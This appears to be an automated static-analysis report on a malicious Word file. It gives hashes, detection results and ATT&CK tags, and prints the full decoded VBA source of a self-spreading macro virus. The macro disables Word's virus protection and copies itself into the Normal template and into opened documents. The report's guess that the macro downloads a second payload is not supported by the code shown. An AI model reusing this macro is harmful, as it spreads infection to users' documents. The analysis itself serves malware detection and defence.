Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a07366ed27e95540…

MALICIOUS

Office (OLE)

267.0 KB Created: 2018-09-04 00:56:00 Authoring application: Microsoft Office Word First seen: 2021-06-13
MD5: bfe8820bd739d7db5bc1f901e6ce2287 SHA-1: 3c375aa2f244ed35ff14e47f666298fb2bf041d0 SHA-256: a07366ed27e955401d63b891ee77fba1b18fb4f91467d3931c9c292d4edf1d1f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to overwrite its own code with a string literal 'APMPKILL', suggesting an attempt to obfuscate or modify its behavior. The presence of VBA macros and the Document_Open trigger strongly indicate a malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub